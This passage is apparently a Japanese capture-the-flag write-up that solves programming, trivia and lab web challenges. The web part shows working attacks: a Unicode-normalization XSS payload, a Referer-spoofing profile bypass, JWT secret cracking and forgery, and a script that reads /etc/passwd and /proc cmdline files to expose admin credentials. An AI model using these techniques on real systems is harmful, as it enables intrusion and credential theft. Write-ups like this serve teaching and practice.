#define fore(i,a) for(auto &i:a)
#define all(x) (x).begin(),(x).end()
//#pragma GCC optimize ("-O3")
using namespace std; void _main(); int main() { cin.tie(0); ios::sync_with_stdio(false); _main(); }
typedef long long ll; const int inf = INT_MAX / 2; const ll infl = 1LL << 60;
template<class T>bool chmax(T& a, const T& b) { if (a < b) { a = b; return 1; } return 0; }
template<class T>bool chmin(T& a, const T& b) { if (b < a) { a = b; return 1; } return 0; }
//---------------------------------------------------------------------------------------------------
/*---------------------------------------------------------------------------------------------------
            ∧_∧
      ∧_∧  (´<_` )  Welcome to My Coding Space!
     ( ´_ゝ`) /  ⌒i     @hamayanhamayan
    /   \     | |
    /   / ̄ ̄ ̄ ̄/  |
  __(__ニつ/     _/ .| .|____
     \/____/ (u ⊃
---------------------------------------------------------------------------------------------------*/
 
 
 
void _main() {
    double x = 0.3;
    for(int i = 0; i < 9999; i++) {
        x = 3.99 * x * (1 - x);
    }
    printf("flag{%.7f}", x);
}

動かした結果がフラグ。

[Programming] Randomness Extraction

ファイル random.dat は一様でない乱数生成器の出力ですが、一部にフラグが埋め込まれています。フォン・ノイマンランダムネスエクストラクターを適用してフラグを抽出してください。

全く初めての概念が出てきているっぽいのでまずは検索。
フォン・ノイマンランダムネスエクストラクターは
https://en.wikipedia.org/wiki/Randomness_extractor#:~:text=%5Bedit%5D-,Von%20Neumann%20extractor,-%5Bedit%5D
これのことっぽい。
ルールは簡単なので、ビット列を取り出すコードを書く。

res = ''
with open('random.dat', 'rb') as fp:
    while True:
        x = fp.read(1)
        if len(x) < 1:
            break
        x = bin(x[0])[2:].zfill(8)
        for i in range(4):
            a = x[i * 2]
            b = x[i * 2 + 1]
            if a != b:
                res += x[i * 2]

print(res)

これをそのままCyberChefのFrom Binaryに突っ込んでflagで検索するとフラグがあった。

[Programming] XML Confectioner

添付の sweets.xml には、多数の sweets:batch 要素が含まれています。これらの中から、下記の条件すべてを満たすものを探してください。

  1. 少なくとも二つの子要素 sweets:icecream が含まれる
  2. 子要素 sweets:icecream には icecream:amount 属性の値が 105g を下回るものがない
  3. 子要素 sweets:candy の candy:weight 属性の値の合計が 28.0g 以上である
  4. 子要素 sweets:candy の candy:shape 属性が 5 種類以上含まれる
  5. cookie:kind 属性が icing でありかつ cookie:radius 属性が 3.0cm 以上の子要素 sweets:cookie を少なくとも一つ含む

ラグは、条件を満たす sweets:batch 要素内において、最も cookie:radius 属性が大きな sweets:cookie 要素の内容に書かれています。

条件を満たすものをpythonで持って来る。実装を頑張る。

import xml.etree.ElementTree as ET
root = ET.parse('sweets.xml').getroot()

for batch in root:
    # 1. 少なくとも二つの子要素 sweets:icecream が含まれる
    icecream_count = 0
    # 2. 子要素 sweets:icecream には icecream:amount 属性の値が 105g を下回るものがない
    icecream_amount_ok = True
    # 3. 子要素 sweets:candy の candy:weight 属性の値の合計が 28.0g 以上である
    candy_weight_sum = 0
    # 4. 子要素 sweets:candy の candy:shape 属性が 5 種類以上含まれる
    candy_shape_set = set()
    # 5. cookie:kind 属性が icing でありかつ cookie:radius 属性が 3.0cm 以上の子要素 sweets:cookie を少なくとも一つ含む
    cookie_icing_ok_sum = 0

    for sweet in batch:
        if 'icecream' in str(sweet):
            icecream_count += 1
            amount = float(sweet.attrib['{http://xml.vlc-cybercontest.com/icecream}amount'][:-1])
            if amount < 105:
                icecream_amount_ok = False
        elif 'candy' in str(sweet):
            weight = float(sweet.attrib['{http://xml.vlc-cybercontest.com/candy}weight'][:-1])
            candy_weight_sum += weight
            candy_shape_set.add(sweet.attrib['{http://xml.vlc-cybercontest.com/candy}kind'])
        elif 'cookie' in str(sweet):
            kind = sweet.attrib['{http://xml.vlc-cybercontest.com/cookie}kind']
            radius = float(sweet.attrib['{http://xml.vlc-cybercontest.com/cookie}radius'][:-2])
            if kind == 'icing' and 3.0 <= radius:
                cookie_icing_ok_sum += 1
    
    if 2 <= icecream_count and icecream_amount_ok and 28.0 <= candy_weight_sum and 5 <= len(candy_shape_set) and 1 <= cookie_icing_ok_sum:
        print(ET.tostring(batch)) 

動かすと以下が得られる。

<ns0:batch xmlns:ns0="http://xml.vlc-cybercontest.com/sweets" xmlns:ns1="http://xml.vlc-cybercontest.com/icecream" xmlns:ns2="http://xml.vlc-cybercontest.com/candy" xmlns:ns3="http://xml.vlc-cybercontest.com/cookie" ns0:id="0xD5E47C1C">
<ns0:icecream ns1:id="0x27515344" ns1:flavor="strawberry" ns1:amount="108.0264740g" ns1:shape="icosahedron" />
<ns0:icecream ns1:id="0x4B4E0F9" ns1:flavor="greentea" ns1:amount="107.1416541g" ns1:shape="octahedron" />
<ns0:candy ns2:id="0xF62CA60D" ns2:kind="milkcoffee" ns2:weight="3.9963739g" ns2:shape="cube" />
<ns0:candy ns2:id="0x74672670" ns2:kind="cinnamon" ns2:weight="4.1597571g" ns2:shape="sphere" />
<ns0:candy ns2:id="0xE5831900" ns2:kind="grape" ns2:weight="4.3664096g" ns2:shape="octahedron" />
<ns0:candy ns2:id="0x56A87368" ns2:kind="apples" ns2:weight="3.8150824g" ns2:shape="dodecahedron" />
<ns0:candy ns2:id="0x4F3E28B9" ns2:kind="apples" ns2:weight="3.9506568g" ns2:shape="sphere" />
<ns0:candy ns2:id="0xAE0E36DB" ns2:kind="grape" ns2:weight="4.0428614g" ns2:shape="dodecahedron" />
<ns0:candy ns2:id="0x1C21FB03" ns2:kind="tea" ns2:weight="4.0445533g" ns2:shape="icosahedron" />
<ns0:cookie ns3:id="0x6937BAA7" ns3:kind="languedechat" ns3:radius="3.1418079cm">flag{sZ8d5FbntXbL9uwP}</ns0:cookie>
<ns0:cookie ns3:id="0x19A83890" ns3:kind="checker" ns3:radius="3.0552874cm">flag{QxNFv5q9gtnvaXEc}</ns0:cookie>
<ns0:cookie ns3:id="0xB43E03AC" ns3:kind="icing" ns3:radius="3.1110701cm">flag{YXBbN3zpqxJy8CvA}</ns0:cookie>
<ns0:cookie ns3:id="0x9F045677" ns3:kind="checker" ns3:radius="3.0090029cm">flag{28j3vnedw7BELQxU}</ns0:cookie>
</ns0:batch>

ラグは、条件を満たす sweets:batch 要素内において、最も cookie:radius 属性が大きな sweets:cookie 要素の内容に書かれています。
ということで
<ns0:cookie ns3:id="0x6937BAA7" ns3:kind="languedechat" ns3:radius="3.1418079cm">flag{■■■■■■■■■}</ns0:cookie>
が答え。

[Programming] Twisted Text

添付の画像 Twisted.png は、画像の中心からの距離 r [pixel] に対して
θ = - (r ^ 2) / (250 ^ 2) [rad]
だけ回転されています(反時計回りを正とします)。逆変換を施してフラグを復元してください。

それっぽい逆変換スクリプトを書いて動かすとむっちゃ遅いが逆変換できた。

from PIL import Image
import math

LEN=1280

output_image_img = Image.new('RGB', (LEN,LEN), (0x00,0x00,0x00))
output_image = output_image_img.load()
source_image = Image.open('Twisted.png')

for y in range(400, LEN):
    for x in range(LEN):
        r = math.sqrt((LEN / 2 - x) * (LEN / 2 - x) + (LEN / 2 - y) * (LEN / 2 - y))
        theta = (r * r) / (250 * 250)
        degree = theta * 180 / math.pi

        rotated_image = source_image.rotate(degree).load()
        output_image[x, y] = rotated_image[x, y]
        
        if (y * LEN + x) % 1000 == 0:
            print(y * LEN + x, LEN * LEN)
            output_image_img.save('flag.png')

output_image_img.save('flag.png')

[Trivia] The Original Name of AES

Advanced Encryption Standard (AES) は、公募によって策定された標準暗号です。 現在採用されているアルゴリズムの候補名は何だったでしょうか?

WikipediaのAESのページに答えが書いてある。

厳密には「AES」は、選出されなかった暗号も含む、手続き期間中から使われた「新しい標準暗号」の総称であり、選出された暗号方式自体の名はRijndael(ラインダール)である。
https://ja.wikipedia.org/wiki/Advanced_Encryption_Standard#:~:text=%E5%8E%B3%E5%AF%86%E3%81%AB%E3%81%AF%E3%80%8CAES%E3%80%8D%E3%81%AF%E3%80%81%E9%81%B8%E5%87%BA%E3%81%95%E3%82%8C%E3%81%AA%E3%81%8B%E3%81%A3%E3%81%9F%E6%9A%97%E5%8F%B7%E3%82%82%E5%90%AB%E3%82%80%E3%80%81%E6%89%8B%E7%B6%9A%E3%81%8D%E6%9C%9F%E9%96%93%E4%B8%AD%E3%81%8B%E3%82%89%E4%BD%BF%E3%82%8F%E3%82%8C%E3%81%9F%E3%80%8C%E6%96%B0%E3%81%97%E3%81%84%E6%A8%99%E6%BA%96%E6%9A%97%E5%8F%B7%E3%80%8D%E3%81%AE%E7%B7%8F%E7%A7%B0%E3%81%A7%E3%81%82%E3%82%8A%E3%80%81%E9%81%B8%E5%87%BA%E3%81%95%E3%82%8C%E3%81%9F%E6%9A%97%E5%8F%B7%E6%96%B9%E5%BC%8F%E8%87%AA%E4%BD%93%E3%81%AE%E5%90%8D%E3%81%AFRijndael%EF%BC%88%E3%83%A9%E3%82%A4%E3%83%B3%E3%83%80%E3%83%BC%E3%83%AB%EF%BC%89%E3%81%A7%E3%81%82%E3%82%8B%E3%80%82

Rijndaelが答え。

[Trivia] CVE Record of Lowest Number

最も番号が若い CVE レコードのソフトウェアパッケージにおいて、脆弱性が指摘された行を含むソースファイル名は何でしょう?

最古のCVEを探すとCVE-1999-0001らしい。
NISTのCVEデータベースのDescriptionに回答に必要な情報が書いてあった。

ip_input.c in BSD-derived TCP/IP implementations allows remote attackers to cause a denial of service (crash or hang) via crafted packets.
https://nvd.nist.gov/vuln/detail/CVE-1999-0001

ip_input.cが答え。

[Trivia] MFA Factors

多要素認証に使われる本人確認のための3種類の情報の名前は何でしょう?それぞれ漢字2文字で、50音の辞書順で並べて「・」で区切ってお答えください。

知識、所有、的なあれか…?と記憶を頼りに探すと、良い感じの記事にたどり着く。

ID・パスワードなどの「知識情報」および、「所持情報」「生体情報」という認証の3要素の中から、2つ以上の異なる認証要素を用いて認証する方法。
https://www.nri.com/jp/knowledge/glossary/lst/ta/multi_factor_authentication

そう、これ。よって「所持・生体・知識」が答え。

[Web] Browsers Have Local Storage

http://10.10.10.30 にアクセスしてフラグを見つけ出し、解答してください。

接続するとNothing here, but...と言われるがタイトルにあるように
Local Storageに行くとフラグが置いてある。

[Web] Are You Introspective?

http://10.10.10.31 にアクセスしてフラグを見つけ出し、解答してください。 このサイトでは GraphQL が使用されているため、まずは endpoint を探す必要があります。

一番最後に解いた問題。
終了30分前に残すはこの問題だけとなった。
1位のst98さんとはこの時点で8点差。
かつ、この問題の点数は10点、ヒントの値段は1点だったので、1つ開けても解ければ逆転できる状況だった。
探索のネタもいよいよ尽き、時間も迫っていたので、祈りながら1つ開けてみた。

GraphQL の endpoint がどんな path で表現されるか、注意深く調べましょう。 version 管理されている可能性も考慮してください。

当たりのヒントだった。
v1を入れて探索を続けると http://10.10.10.31/graphql/v1 を見つけることができた。
graphqlのコンソールが出てくるので、構造を抜き出すいつものクエリを投げるとフラグが得られた。

query IntrospectionQuery { __schema {  queryType { name }  mutationType { name }  subscriptionType { name }  types { ...FullType  }  directives { name  description  locations  args { ...InputValue  }  }  }  }  fragment FullType on __Type {  kind  name  description  fields(includeDeprecated: true) {  name  description  args { ...InputValue  }  type { ...TypeRef  }  isDeprecated  deprecationReason  }  inputFields {  ...InputValue  }  interfaces {  ...TypeRef  }  enumValues(includeDeprecated: true) {  name  description  isDeprecated  deprecationReason  }  possibleTypes {  ...TypeRef  }  }  fragment InputValue on __InputValue {  name  description  type { ...TypeRef }  defaultValue  }  fragment TypeRef on __Type {  kind  name  ofType {  kind  name  ofType { kind  name  ofType { kind  name  ofType {   kind name ofType { kind name ofType { kind   name   ofType {   kind name   } } }  }  }  }  }  }

[Web] Insecure

あなたは社内ポータルサイト(http://10.10.10.33)の管理者に依頼されて、profile ページが安全に保護されているかチェックすることになりました。 以下のログイン情報を用いてサイトにログインし、管理者の profile ページに記載されている秘密の情報を見つけてください。 なお、依頼の際に「管理者ページのidは0だよ」というヒントをもらっています。

ログイン情報も与えられるので、ログインしてみると、ダッシュボードが出てくる。
下に置いてあるプロフィールのリンクを押すとプロフィールが表示された。

リクエストを見返すとプロフィールのリンクを押すと/show_profile.php?id=1に遷移し、
そこから/profile_success.phpにリダイレクトされてプロフィールが見られる。 この遷移状況から、show_profileでセッションにidを入れてprofile_successで表示しているとみられる。
試しに/show_profile.php?id=0にアクセスしてみるが、他人のprofileを覗かないでくださいと怒られる。

仕様を色々確認していると/profile_success.phpに直に接続した場合も怒られる。
Refererを見ているみたいでReferer: http://10.10.10.33/dashboard.phpでないと弾かれるようだ。

この仕様を元に色々試すと、以下でフラグがもらえた。 1. /show_profile.php?id=0に接続し、リダイレクトしないようにする 2. Referer: http://10.10.10.33/dashboard.phpをつけて/profile_success.phpに接続する

show_profile.phpで、id=0の検証で弾く前にセッションに閲覧IDを入れているようだ。
よって、show_profileで失敗でリダイレクトされるが無視して、profile_successに移動すると管理者のプロフィールが表示される。

[Web] Variation

http://10.10.10.32 のWebサーバーで下記形式の XSS を発生させ、フラグを入手してください。 <script>alert(1)</script>

基本的には<>が削除される動きをする。これではXSSできない。
色々試すと以下のような気になる動きをする。

<dfdfdf<さdf -> dfdfdfさdf
℀ -> a/c
ⓕⓛⓐⓖ -> flag

内部でUnicodeの変換をしているような気がする。
クエリを消すとundefinedと出てくるのでサーバはjavascriptで動いているようなので
javascript unicode normalization xssで検索してみる。
以下のようなサイトが出てきて、そこにあった﹤script﹥alert(1)﹤/script﹥を試すとフラグが得られた。
https://www.acceis.fr/solution-for-the-vulnerable-code-snippet-n2/

[Web] Bruteforce

http://10.10.10.34:8000 からフラグを回収して下さい。 http://10.10.10.34:5000 で動作するプログラムの内容は、ctf-web-hard.pyに記載されています。

以下のようにJWTトークンをもらって、使うサイトが与えられる。

JWTトークンをもらう
$ curl -X 'POST' -H 'Content-Type: application/json' -d '{"username":"test", "password":"test"}' 'http://10.10.10.34:5000/login'

JWTトークンを使う
$ curl -X 'POST' -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTcwODgyNjUyOSwianRpIjoiZjcyYjk0ZGMtZDFkOS00ODRhLWE0MmQtMGRiODA4NDg3ZmY2IiwidHlwZSI6ImFjY2VzcyIsInN1YiI6InRlc3QifQ.Wlv5yAg86-_dohKMAzHlejk2aaaMgadFZmVTDaqg1dI' 'http://10.10.10.34:5000/protected'

JWTが使われていて脆弱なポイントは見たらない。
タイトルがBruteforceであることを考慮してJWTのシークレットの総当たりを試してみると成功する。

$ john h  --wordlist=/usr/share/wordlists/rockyou.txt --format=HMAC-SHA256
Using default input encoding: UTF-8
Loaded 1 password hash (HMAC-SHA256 [password is key, SHA256 128/128 SSE2 4x])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
conankun         (?)     
1g 0:00:00:02 DONE (2024-02-24 21:06) 0.4115g/s 783802p/s 783802c/s 783802C/s coreybear..comcompaq
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 

シークレットが得られたので以下のようにJWTを偽装する。

import jwt
data = {
  "fresh": False,
  "iat": 1708826529,
  "jti": "f72b94dc-d1d9-484a-a42d-0db808487ff6",
  "type": "access",
  "sub": "admin"
}
r = jwt.encode(data, "conankun", algorithm="HS256")
print(r)

これを使うと任意のファイルが得られるようになった。

$ curl -X 'POST' -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTcwODgyNjUyOSwianRpIjoiZjcyYjk0ZGMtZDFkOS00ODRhLWE0MmQtMGRiODA4NDg3ZmY2IiwidHlwZSI6ImFjY2VzcyIsInN1YiI6ImFkbWluIn0.QedBygGeHDcvJQ2JIHD8u9qFaCkgmQgVn31kWv4MpAg' 'http://10.10.10.34:5000/protected' -H 'Content-Type: application/json' -d '{"filepath":"/etc/passwd"}'

以上のようなリクエストで/etc/passwdが得られる。
フラグはhttp://10.10.10.34:8000にあるようだがログインするには認証情報が必要。
認証情報をどうにか探してくる必要がある。

さっきの任意ファイル取得を利用しよう。
/proc/{pid}/cmdlineというパスを使うと指定のpidのプロセスの呼び出しコマンドが得られる。
pidを全探索して、フラグが得られるエンドポイントの呼び出し方法を見てみよう。

import requests
import time

token = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTcwODgyNjUyOSwianRpIjoiZjcyYjk0ZGMtZDFkOS00ODRhLWE0MmQtMGRiODA4NDg3ZmY2IiwidHlwZSI6ImFjY2VzcyIsInN1YiI6ImFkbWluIn0.QedBygGeHDcvJQ2JIHD8u9qFaCkgmQgVn31kWv4MpAg'
path = "/proc/self/stat"
r = requests.post('http://10.10.10.34:5000/protected', headers={'Authorization': f'Bearer {token}', 'Content-Type': 'application/json'}, json={"filepath":path}).text
print(r)

for pid in range(100):
    path = f"/proc/{pid}/cmdline"
    r = requests.post('http://10.10.10.34:5000/protected', headers={'Authorization': f'Bearer {token}', 'Content-Type': 'application/json'}, json={"filepath":path}).text
    print(r)
    time.sleep(1)

すると、以下のような面白い呼び出しが得られる。

"/usr/bin/python3\u0000/var/www/ZQ4zgfia2Kfi/http_server_auth.py\u0000--username\u0000admin\u0000--password\u0000EG5f9nPCpKxk\u0000"

認証情報が見えていますね。
admin:EG5f9nPCpKxkを使ってログインすると成功し、フラグが得られる。